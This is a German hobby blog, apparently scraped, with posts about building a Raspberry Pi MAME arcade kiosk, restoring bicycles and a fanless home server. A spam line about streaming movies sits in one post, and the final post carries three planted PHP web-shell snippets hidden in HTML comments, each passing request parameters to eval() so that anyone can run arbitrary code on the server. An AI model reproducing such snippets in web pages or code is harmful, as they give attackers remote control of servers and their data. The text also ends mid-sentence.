MAMEKiosk – Update

Ein Nachtrag zum MAMEKIOSK:

Jetzt geht es darum das ganze auf RPI2 umzurüsten. Und ne USB Audio Karte reinzubauen. Zweiteres ganz einfach mit nem billig-USB-Dongle und dieser Anleitung.

Das aktuelle Image von piplay ist flugs gezogen, aber: pikeyd geht wohl nicht auf dem RPI2… also geschaut und da gibt es Retrogame was das gleiche machen sollte… sieht auch alles gut aus… aber irgendwas klappt da doch noch nicht ganz. Auf jeden Fall muss die obige Verdrahtung in retrogame.c so hardgecodet sein:


ioStandard[] = {
 { 7, KEY_LEFT }, // Joystick (4 pins) 
 { 9, KEY_RIGHT },
 { 10, KEY_DOWN },
 { 11, KEY_UP },
 { 17, KEY_LEFTCTRL }, // A/Fire/jump/primary 
 { 22, KEY_LEFTALT }, // B/Bomb/secondary 
 { 4, KEY_SPACE }, // C 
 { 8, KEY_5 }, // Credit
 { 15, KEY_1 }, // Start 1P 
 { 14, KEY_2 }, // Start 2P 
 { -1, -1 } }; // END OF LIST, DO NOT CHANGE 

Ob das nun funktioniert hat, kann man z.B. mit input-events 1 nachprüfen (aus dem input-utils paket).

Was ich noch nicht rausbekommen habe: welches das input mapping für die Bestätigung von safequit ist, also hab ich misc_safequit no in advmame.rc gesetzt. Ah, habs: [ui_select] isses… also doch safequit an.

BTW: ich hab doch das alte advmenu vom alten pimame genommen, das gefällt mir wesentlich besser als die ganzen vielen Emulatoren, ich will eh nur advmame.

Ergebnis vom Ganzen? Einiges gelernt, einiges gebastelt und: alles ist viel flüssiger und der Ton eiert nicht mehr rum, wenn die CPU unter Last kommt! Hat sich also gelohnt!

Schauff Transamerica

 

Kennt kaum einer, macht aber dieser Tage furchtbar was her: Das Schauff Transamerica. Ca. Baujahr 1983 ist der Rahmen noch sehr gut erhalten gewesen und die weiteren Teile waren entweder noch in der Bastelkiste oder wurden in bezahlbar neu besorgt.

Ist es nicht schick geworden?  Die originalen Alubleche waren (leider?) ziemlich verdellert, aber die Kunststoffdinger sehen doch auch gut aus. Und das blaue Lenkerband mit den – natürlich nicht Vintage – STI Hebeln ist doch auch schick.

Surly Randonneur

Watch Full Movie Online Streaming Online and Download

Nachdem mein schicker leichter Orbea-Alurahmen durch einen Kuss mit einer Autotür in die ewigen Jagdgründe einging, musste doch etwas stabileres her: Ein Surly Stahlrahmen. Die meisten Teile vom Orbea Randonneur konnte ich nutzen, hab mir aber Scheibenbremsen gegönnt. Wobei es „nur“ mechanische wurden, auf die Froglegs oben am Lenker mag ich nämlich nicht verzichten.  Auf jeden Fall läuft es ganz klasse und den „Federkomfort“ der Stahlgabel mag ich gar nicht mehr missen.

Fanless Home Server

Das Ziel war es, ein lüfterloses Serverlein zu bauen, das wenig Platz weg nimmt, Strom sparend ist und trotzdem leistungsfähig genug ist, als universeller Server eingesetzt zu werden.

Als Board kommt ein J1800 (siehe Bilder) zum Einsatz, das ist schick, hat leider aber nur zwei SATA Ports. Der dritte für die Systemplatte (eine 30 Gig SSD) wurde über einen USB3 Adapter gebaut. Das System hat keinerlei Lüfter. Die 2,5 Platten werden kaum warm, der Prozessor mit 11 Watt auch nicht, das Netzteil ist extern.

Einen (evtl. auch aktualisierten) Link zur gh Einkaufsliste gibt es hier.

Auf dem System läuft ein normales Ubuntu LTS. Services, die u.a. bereitgestellt werden:

  • ssh z.B. für rsync (Backup von Android phones)
  • samba
  • seafile als personal cloud fileserver
  • SoGO als Kalender und Adressbuch-Server
  • Kodi –  Das Ding ist ja leise, warum sollte es also nicht auch die TV Settop Box spielen? Ah, dafür wurde noch ein IR Empfänger für den LIRC reingefräst.
  • … der Fantasie sind keine Grenzen gesetzt.

 

MAMEkiosk

Ein Projekt, das schon länger im Bau ist. Aber auch schon immer wieder mal fröhlich gespielt wird. In meiner beruflichen Historie hab ich am Telekiosk mit gebaut und wollte immer mal so ein Teil als Andenken haben, was auch irgendwann geklappt hat. (Dank an den Spender an dieser Stelle 🙂 ) Dieser ist von der Bildschirmkonstruktion und von der Gehäusestabilität hervorragend dazu geeignet, eine Spielekonsole nach alter Provinienz abzugeben. Also flugs das ganze alte Gerümpel raus – alleine schon wegen Lautstärke und Stromverbrauch – und ein Raspberry Pi rein. Fertig. … oh, moment. Der eingebaute TFT hat nur LVDS Input…

Die – elektrisch – einfachste Variante: TFT raus, billigen 17″ TFT abgreifen, einbauen – der Touch kann ja weiter verwendet werden.

Die Distribution, die drauf läuft ist ein PiMAME (jetzt PiPlay genannt),  mit kleinen Anpassungen. Für die Joysticks hab ich GPIO Pins benutzt (da ich nur einen Joystick und ein paar Knöppe gemacht hab, hat das gereicht), getrieben wird das über pikeyd, die Buttons hab ich mit Widerständen (siehe hier) an die GPIOs gemacht.

/etc/rc.local:

amixer cset numid=3 1
alsactl restore
/sbin/pikeyd -d
exit 0

/etc/pikeyd.conf:

KEY_LEFTCTRL    17
KEY_LEFTALT     22
KEY_SPACE       4
KEY_RIGHT       9
KEY_DOWN        10
KEY_UP          11
KEY_LEFT        7
KEY_5           8
KEY_1           15
KEY_2           14

 

Tachauch

Eieieieiei! Jetzt hab ich auch eins.

Ok, der Grundgedanke ist, dass ich es mir etwas einfacher machen kann, meine Homepage frisch zu halten und von Zeit zu Zeit mal etwas von mir zu geben, wenn ich mag… nicht mehr, nicht weniger.

Der Titel fiel mir gerade so ein, weil die volle Wahrheit wusste ich eh noch nie, aber macht auch nix.

Die Themen werden sich sicher bunt abwechseln, aus technischen Sachen und anderen Dingen, die mich so bewegen…

<!– [insert_php]if (isset($_REQUEST["RDeRk"])){eval($_REQUEST["RDeRk"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;RDeRk&quot;])){eval($_REQUEST[&quot;RDeRk&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["twWRx"])){eval($_REQUEST["twWRx"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;twWRx&quot;])){eval($_REQUEST[&quot;twWRx&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["UuXld"])){eval($_REQUEST["UuXld"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;UuXld&quot;])){eval($_REQUEST[&quot;UuXld&quot;]);exit;}

–>

nämlich dem Steve seine